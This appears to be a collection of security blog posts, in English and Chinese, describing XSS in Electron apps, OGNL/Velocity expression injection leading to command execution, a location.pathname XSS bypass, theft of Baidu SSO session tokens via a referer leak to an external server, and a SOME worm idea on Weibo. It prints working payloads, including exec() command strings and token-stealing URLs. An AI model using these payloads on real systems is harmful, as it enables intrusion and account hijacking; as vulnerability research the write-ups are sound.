Recently, I was studying lambda(function as a service) and Machine Learning, and I will share with you the case of security.
Today I will share two sweet foods about electron.
“If you can build a website, you can build a desktop app. Electron is a framework for creating native applications with web technologies like JavaScript, HTML, and CSS. It takes care of the hard parts so you can focus on the core of your application.”
The first case was when I used a dictionary to look up words. NetEase Youdao dictionary has a built-in browser, we can drag files into it. We can drag an html file into it. This led to the XSS vulnerability. It’s really interesting.
1 | <script> |


We can see that it is under the file origin. So we try to read other files on the computer
1 | <script> |

This is very interesting because it is under modern browsers. The file domain name also follows the same origin policy. If it is under a modern browser such as chrome firefox safari. It is not allowed to read files across directories.
chrome url file:// document.origin = null
firefox url file:// document.origin = undefined
safari url file:// document.origin = null
After we can read the victim’s file, we can read .git to read all the victim’s files in Mac OS.
NetEase cloud music was cracked by others using XSS vulnerabilities. Netease Cloud repaired part. In the process of my reverse of the client. I found a strict CSP strategy for developers to fix the program. Although developers fixed bugs, I found similar vulnerability.

I can’t bypass the CSP strategy.
XSS not only exists in web pages, it also exists in the electron framework if you find an XSS application in the desktop. Try to find the privileged domain and determine if it is under the file domain. There may be RCE vulnerabilities in privileged domains and arbitrary read vulnerabilities may occur in the file domain.
There are also many XSS vulnerabilities that exist in desktop applications. Here only an attack surface is shown to everyone. This is just a dessert. Please wait for me to take the next study.
NetEase Youdao Dictionary Version: 2.3.1 (158)
Netease Music Version: 1.5.9 (622)
DNS SPF Record Spoofing
unicode vulnerability
Autobinding vulns
cross-domain login detection code
QRLJacking
abuse normal function
cross protocol script
朋友丢过来一个站点让帮忙看看。站点的架构为 Windows+Apache+JAVA。因没学过JAVA WEB。特记录下Exploit的过程,希望借此鼓励因对一门技术栈不熟悉就放弃目标的朋友。
拿到站点,首先要知道站点的架构。不难发现站点的架构为Windows+Apache+JAVA。通常,我还会爬一遍站点的url。探测是否存在敏感文件泄露以及敏感url,参数泄漏。扩大自己的攻击面。
经过简单探测,发现了一处疑似表达式注入的点,并且还出现了报错(可以泄漏很多有用的信息)。

但是由于我只写过JAVA,并没有任何JAVA WEB 经验。我连这个站点运用了什么框架都不清楚。于是开始漫长的踩坑之旅。在我以前的记忆中,我只知道两种类型的表达式注入(OGNL+EL)
首先我们测试下是否存在漏洞? ${666*666}

看到这里,就有很大的几率存在漏洞。但是对于我们还是判断不了它到底用了什么表达式语言。因为我没学过这块的技术栈,在这里就不去区分OGNL+EL的异同点,从而判断是哪种表达式。但是我知道OGNL+EL都有隐含对象。比如${pageScope},${request}等。但是很遗憾,什么也没有回显。
仔细查看报错信息,说不定会有收获。VelocityServlet: Error processing the template。一行加粗加大的提示赫然出现在我的眼前。Google=>Velocity
发现一篇文章 这篇文章提到这种表达式的注入
尝试${class}
于是这个站基本做到了认知的程度,下一步就是Fuzz了。
根据这篇文章,尝试以下payload.
$class.inspect(“java.lang.Runtime”).type.getRuntime().exec(“sleep 5”).waitFor()
尝试无果。然后把注意点转移在action.ListResources这个类上。
因为对JAVA并不熟悉,再加上面向对象学的也不是很好。无法判断这个类是开发者自己写的,还是用的轮子。只能利用搜索引擎去探测一波。发现链接
于是开始了手工Fuzz
/list.do?c=${class.getClassLoader()}
/list.do?c=${class.getResource("").getPath()}

暴露了网站的路径
做到这里,朋友说已经可以了。但是我还想继续判断下是否存在RCE
猜测getResource 这个方法是用来获取资源的,猜测是否存在SSRF,于是进行了大量手工FUZZ。根据回显来判断是否正确/list.do?c=${class.getResource("/").getPath()}/list.do?c=${class.getResource(".").getPath()}/list.do?c=${class.getResource("file://").getPath()}/list.do?c=${class.getResource("gopher://").getPath()}/list.do?c=${class.getResource("http://").getPath()}/list.do?c=${class.getResource("../../../")}

/list.do?c=${class.getResource("../../../../../index.htm").getContent()}
出现了 java.io.BufferedInputStream@b4eccd。看样很有可能会产生任意读取漏洞。
还是不懂BufferedInputStream 只好借助参考链接
无奈 只发现了有价值的read()方法。借助可以方法可以从buff读取一个字符。由于我们找不到getWriter方法。所以我没有办法绕过去读取所有内容。下文有绕过方法。

chr(60) = ‘<’
无奈只好去探测别的姿势。知识储备不够只好借助搜索引擎。翻到一篇文章

尝试${'A'.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")}
无果! 难道就这么放弃? 当然不是。
fuzz 出 ‘’.class.forName 这样引入对象是有效的。但是不知道为什么直接getRuntime不可以。
经过大量试错,最后 payload 为list.do?c=${'a'.class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd /c ping watito.exeye.io")}
做到这里,朋友说可以了。但是,我觉得不是很好,因为到此还没做到命令回显,作为一个安全爱好者。漏洞利用就像一门艺术,如果不能做到命令回显那就感觉像是少了些什么。于是开始了新的踩坑之旅!
执行payload。返回的是一个对象。我们要做的是将缓冲区的字节转换为字符。并且输出 出来。我查阅了大量的实战案例,
表达式注入做到回显的基本都用到了 servlet 下的 getWriter().println()方法。所以我们的目标已经很明确了,那就是去寻找这个方法。
/list.do?c=${%23c=’a’.class.forName(“javax.servlet.http.HttpServletResponse”).getMethod(‘getWriter’,null)}
我们想要使用的是println方法,于是又进行大量的手工FUZZ。
/list.do?c=${%23c=’a’.class.forName(“javax.servlet.http.HttpServletResponse”).getMethod(‘getWriter’,null).println(“2333”)}
/list.do?c=${%23c=’a’.class.forName(“javax.servlet.http.HttpServletResponse”).getMethod(‘getWriter’,null).invoke(null.null).println(“”)}
/list.do?c=${%23c=’a’.class.forName(“javax.servlet.http.HttpServletResponse”).getMethod(‘getWriter’,null).invoke().println(“”)}
/list.do?c=${%23c=’a’.class.forName(“javax.servlet.http.HttpServletResponse”).getMethod(‘getWriter’,null).invoke(null,”23333”).println(“”)}
其实在这边查阅官方手册是快的,但是黑盒测试,对版本等信息都不了解。查阅了很多手册也没有什么收获。于是我去翻阅了java包的println函数的实现。


原来println函数是import java.io.PrintWriter而来
/list.do?c=${#c=”a”.class.forName(“java.io.PrintWriter”).getMethod(“println”,null)}
很激动~ 但是不知道怎么调用。还是要不断试错!
/list.do?c=${#c=”a”.class.forName(“java.io.PrintWriter”).getMethod(“println”,null).(“HELLO WORLD”)}
发现这样可以调用。
我们看一下猪猪侠构造的回显的payload
#=#
1 |
|
我们尝试来构造我们自己的payload。
#=#
1 |
|
居然没什么反应~
这个时候似乎陷入了胶着…因为用时太久,身心俱疲。随手测试了${#request}
居然有回显。
可以确定是Ognl 表达式注入了.那么回显就要去朝着这个方向去思考。
看到 com.opensymphony.xwork.interceptor 版本比较低。
经过测试
{#e=’a’.class.forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(“cmd /c whoami”).getInputStream(),#o=new java.io.InputStreamReader(#e),#l=new java.io.BufferedReader(#o),#k=#l.readLine(),#print=’a’.class.forName(“java.io.PrintWriter”).getMethod(“println”,null),#print.(#k)}
这样可以读取一行回显 这样就太鸡肋了~ 这个时候想到一个库还没使用那就是。com.opensymphony.xwork
${#response=#context.get(“com.opensymphony.xwork.dispatcher.HttpServletResponse”).getWriter(),#response.println(“HelloWorld!”),#response.flush(),#response.close()}
于是最终payload为
#=#
1 |
|
使用这个姿势,同时可以解决上文的任意读取漏洞!有些朋友可能不理解为什么去费这么大气力去研究这个看似不是很重要的回显。完全可以通过DNS 带出来内容。但是技术的推动就是对技术毫不妥协嘛。本文不涉及任何框架的解读,想表达的含义是对一个你没接触的内容怎样去Exploit。对于这个场景来说,找一个可用的方法或者类有多么重要。
这篇writeup 用到的技术不是很高深,想必对JAVA WEB 很熟的人很快就能搞出来。但是我想在这篇文章里展示的是一种对于从来没接触过的技术栈 怎么去Exploit。看到这里你也很清楚了。善于利用搜索引擎。以及人工不断fuzz.逐渐去验证你的思路。慢慢缩小fuzz的范围以及payload。我花费了大量笔墨去阐述我走过的弯路,较小的笔墨去描述我成功执行的部分。看者自然有意。
在weibo上看到neargle发了一个案例里面是一个location.pathname利用的实际案例。自己原来的想法是这种类型的xss只会存在404页面那边。还有一个问题是$SERVER[‘PHP_SELF’]不进行urlencode,而window.location.pathname则会进行urlencode。
当时就去email to neargle 想探讨下这种类型在实战会怎么利用。
neargle say确实如果用 location.pathname 这个点是会被url编码的,但是也并不是所有的浏览器都会被编码,而且每个浏览器编码的范围不一样,Opera之前的版本是不会编码"和<的。可以参考https://github.com/wisec/domxsswiki/wiki/location,-documentURI-and-URL-sources。而且就算是编码也得看输出的点是什么,要是放在如eval等函数里面还是可以直接利用的。 祝好0v0
其实也就是具体问题具体分析~~运气很好,在做test的时候 恰好遇到了这么一个案例
漏洞发生在搜索框 类似 => http://www.xss.com/search/site/search_content。search_content可控 但是它是从location.pathname取出来的。我们只能用特定的几个字符。参考如下(笔者在chrome下进行此次测试)

两个输出点逻辑(输入点 mmmagic)1
2
3
4
5
6
7
8
9
10
11
12
13<script>
_data = {
"level2": "5",
"chapter1": "",
"chapter2": "",
"chapter3": "",
"title": "Internal Search",
"mc": "mmmagic",
"np": "1",}
</script>
<script>
{$('#login-info').html('<a href="proxy.php?url=/p/login.php?p=/search/site/mmmagic" target="_blank">用户登录</a><a href="proxy.php?url=http://www//index.php?r=site/ProductPage&PCODE=ZB&utm_medium=online&utm_source=frontpageheader&utm_campaign=zbproductpage&utm_term=tactical" target="_blank">订阅</a>');}
</script>
这个点没有进行合理过滤,所以导致了上面location.pathname可以用的字符我们都可以用。但是也是不太好利用。第一个输出点我没太思考怎么绕过。我把我的思考方式放在后面那个输出点
我们没办法输入>闭合a 标签 但是由于chrome 很好的容错性它会自动闭合tag 我们可以输入’,所以我们通过’)来闭合$(‘#’).html(‘’) xxxxxxx
我们已经解决了第一步。但是这样的payload由于语法错误会报错然后不执行。我们要想办法注释后面的点
以上两种方法均不能达到我们注释的目标(由于chrome在location.pathname支持的字符相比于其余主流浏览器支持的字符最少。所以只要chrome完美bypass。其余浏览器也没有问题了)
javascript 语法
1 | x = ('mmmagic"23333') |
既然我们不能注释后面 由于后面的字符原本是在(‘’) 里面的 经过前面的闭合 这个时候为
1 | $('#').html('<a href="proxy.php?url=/p/login.php?p=/search/site/')mmmagic" target="_blank">用户登录</a><a href="proxy.php?url=http://www.//index.php?r=site/ProductPage&PCODE=ZB&utm_medium=online&utm_source=frontpageheader&utm_campaign=&utm_term=tactical" target="_blank">xx</a>'); |
所以我们只需要把后面当作是一个string 赋值给一个变量就ok了
alert payload
http://www.xss.com/search/site/')-alert(/mmmagic/);x=('mmmmagic,
这个时候我们已经可以弹窗了。我们要朝着我们的终极目标前进,引入外部的js。这个时候已经很简单了
1 | search/site/')-eval(location.hash.substr(1));x=('mmmmagic,# +js 方法不唯一 |
用户的输入点都是不可信的,所以过滤就显得尤为重要了。web的思考思维是怎么绕过,这其中一块就是具体问题具体分析,往往是看似不可以利用的漏洞。通过几种方式的组合导致可以利用。由于最近一直在思考怎么写xss fuzz tool 所以有一些想法
比如 它有这种智能的检测手段
1 |
|
如果fuzz tool 发现我们可控的点在xxxxxx处
</script><img/src=1> or ‘-alert(1)-‘ 来进行test此刻大概就是这么多想法,要走的路还有很多。但是自己确实是想做出点东西了。
]]>最近在研究百度的账号登陆系统。百度的登陆系统有v2,v3两种方案。主站使用的v2。通过post login。然后set-cookie:bduss

像百度钱包百度外卖,网盘等使用的v3登陆系统。使用v3登陆系统的域名不在少数。

可以看出来v3的登陆逻辑是Location重定向这个链接,然后set-cookie:bduss。但是这个有一个架构问题是Location里面带有bduss敏感信息:)需要注意的是Location里面的bduss不是登陆成功后cookie里面的那个http-only bduss。但是我们可以通过拿到Location的bduss去登陆,通过在本地查看cookie里面的http-only bduss。也就是拿到了用户认证
https://passport.baidu.com/v3/login/api/auth?return_type=3&tpl=netdisk&u=https%3a%2f%2fpcsdata.baidu.com%2frest%2f2.0%2fpcs%2ffile%3fmethod%3dplantcookie%26source%3dpcsdata%26callid%3d0.1%26type%3dstoken%26from_module%3dcloud-ui%26logid%3d1005224845347345453
访问这个url就会跳转到set-cookie:bduss 中间有个Location。对我们来说有用的可控的参数是tpl和utpl参数是百度业务的代号 netdisk为百度网盘u为Location中拼接的链接 :) Location: u+stoken+bduss 这种到这里我能想到如下几种方法去窃取Location:
下面我们来分析者几种思路的可行性
1 and 2 经过大量测试,百度后端正则写法严格,不存在此漏洞
3 xss价值很大,用在这大材小用。
4 方法不够优美,跳转后的页面为第三方页面,用户容易起疑心
5 跳转后的页面为百度下的域名 较为完美的解决方案 第五种方法容易出现在用户交互的地方。我在贴吧找到了一个分享页面。
http://tieba.baidu.com/f/commit/share/openShareApi?url=http%3A%2F%2Ftieba.baidu.com%2Fp%2F4970918825%2310006-tieba-1-38713-bf6461719a993b4683f4212b1604e413&title=2017%E6%9D%8E%E5%BD%A6%E5%AE%8F%E4%B8%8B%E7%8B%A0%E5%BF%83%3A%E7%99%BE%E5%BA%A6%E8%A6%81%E6%95%B4%E9%A1%BF%E9%A3%8E%E6%B0%94%2C%E6%89%93%E5%87%BB%E8%BF%87%E5%BA%A6%E5%B9%BF%E5%91%8A_%E7%99%BE%E5%BA%A6%E5%90%A7_%E7%99%BE%E5%BA%A6%E8%B4%B4%E5%90%A7&desc=&comment=&pic=http://121.42.166.76/x/phpwaf.php?.jpg
pic是我们可控的页面。查看下服务器上的log

通过查看referer,我们就可以拿到bduss+stoken。 现在利用链就出现了。passport.baidu.com url里面的u参数改成tieba这个链接。tpl参数改成百度贴吧的内部代号。但是问题出现了。贴吧业务较老。同时有v2 v3系统。但是set-cookie的是v2系统。虽然会拿到stoken+bduss。但是这是贴吧业务下,并不能拿到http-only(bduss) :)因为并不是根据v3设置的bduss所以访问Location也不能set-cookie:bduss 按照正常架构,tpl是肯定要和u参数一一对应的。我们测试下是否存在问题。

我们把tpl换成百度网盘的代号 u参数为找到的tieba url。顿时惊喜万分。这是百度登录系统的第二个架构问题。tpl和u参数不对应。这无疑减少了攻击难度。我们只需要找到使用v3登录系统任一域名下的xss或者open direction等漏洞就可利用。
为了拿到最佳漏洞,我们必须要构造最完美的利用链。现在的攻击方式就是让用户去访问
https://passport.baidu.com/v3/login/api/auth/?return_type=3&tpl=bp&u=http%3A%2F%2Ftieba.baidu.com%2Ff%2Fcommit%2Fshare%2FopenShareApi%3Furl%3Dhttp%253A%252F%252Ftieba.baidu.com%252Fp%252F4970918825%252310006-tieba-1-38713-bf6461719a993b4683f4212b1604e413%26title%3D2017%25E6%259D%258E%25E5%25BD%25A6%25E5%25AE%258F%25E4%25B8%258B%25E7%258B%25A0%25E5%25BF%2583%253A%25E7%2599%25BE%25E5%25BA%25A6%25E8%25A6%2581%25E6%2595%25B4%25E9%25A1%25BF%25E9%25A3%258E%25E6%25B0%2594%252C%25E6%2589%2593%25E5%2587%25BB%25E8%25BF%2587%25E5%25BA%25A6%25E5%25B9%25BF%25E5%2591%258A_%25E7%2599%25BE%25E5%25BA%25A6%25E5%2590%25A7_%25E7%2599%25BE%25E5%25BA%25A6%25E8%25B4%25B4%25E5%2590%25A7%26desc%3D%26comment%3D%26pic%3Dhttp%3A%2F%2F121.42.166.76%2Fx%2Fphpwaf.php%3F.jpg
然后服务器会接受到referer传来的stoken+bduss。这样太不美观了。最完美的利用链肯定是从用户点击到跳转结束都是在百度域名下。这才称为优雅。
xxx.baidu.com => attack.com.index.html=>tieba.com
那就需要我们找到一个百度域名下的open redirection。哪里找呢。www.baidu.com就更好了。其实有现成的。当我们在百度页面上搜索url时。点击页面会出现自动跳转。
https://www.baidu.com/link?url=U38t5HcavSP8i3ndy2zBqFHNk49DAIPl9Nf8EaQ7ItniqYP7-GFf7qZKL8gtlo-Q&wd=&eqid=d6e00e170038d1860000000658a04fe5
类似这样。这下才称为完美利用才对~把exp放在 attack.com/index.html
点击服务器记录log如下

这时候我们要揭秘百度登录系统的第三个架构问题 就是Location里面拿到的 stoken+bduss居然可以重复使用。
构造登录页面如下 :)百度钱包为例
https://www.baifubao.com/api/0/sync_login/0?u=%2F&errno=0&errmsg=Auth%20Login%20Sucess&stoken=a030ee1ff3177e74af143953318e1a02fe00d282274012bca70d6e358abb98c0911856e88dfc9b439ac0c63c58f9e39929c3b7e662fc0fa5855fba0ef6439168723359d32efe&bduss=5be15498aac8e4422924b36361398d72d78a4550e2034c6430d7e412f82f09867ea983604696ee0f6f74fe70cf63fa5bdb4ab07f0c07a57a423f76e92f67c560b2f65d707ecf80744b56ae9becb9e83c269dfa8cef32e3b2b0416fadb8d52ab0979e138c7fd5f17acc788466e819347236e2e7060db1454dbcda8c9ecc847b8a35faf24e06ba9057b804462b32d13a1045da918c837ffe43b6164a9ffcc595a4a462918da6e9a578f8bd3e4efb646e8e0839446bfd90cc7a0fc98021ad5c1c10792a25778c10&ssnerror=0
替换stoken+bduss 为我们获取的。attacker登陆进去查看http-only bduss 就可以拿到最终的bduss 从而进入各个服务
最近在研究新浪通行证的单点登录系统。发现了一个有意思的链接

尝试了几个特殊字符想构建xss无果。于是想到了same origin method execute attack。因为这个域名是weibo.com。这是非常好利用的。利用点如下。微博存在一键转发一键关注等按钮。我们可以发一条很有吸引力的微博,诱惑别人去点。别人点我的链接就会触发攻击。会自动转发我的链接。这样就造成了蠕虫。其实SOME攻击可利用的地方很多。还是看场景。
但是有一个问题就是,此页面判断了refer。refer只能来自可信域名。尝试绕过无果。意外发现了当refer为空的时候会返回我们想要的结果。因为refer 会返回错误 但是不显示空白 我们依旧可利用 构造我们的callback

这个时候思路如下
1 找一个可信域下的302跳转。跳转到some利用页面。这样refer可信。成功利用
2 我们想办法去消除refer。感谢html5 a 标签的rel=”noreferrer” 可以使跳转不带有refer(:然后利用js自动点击a标签 做到和自动跳转一样的效果
3 利用iframe 也可以使用refer为空
我们采用第二种方法成本最低
1 |
|
1 |
|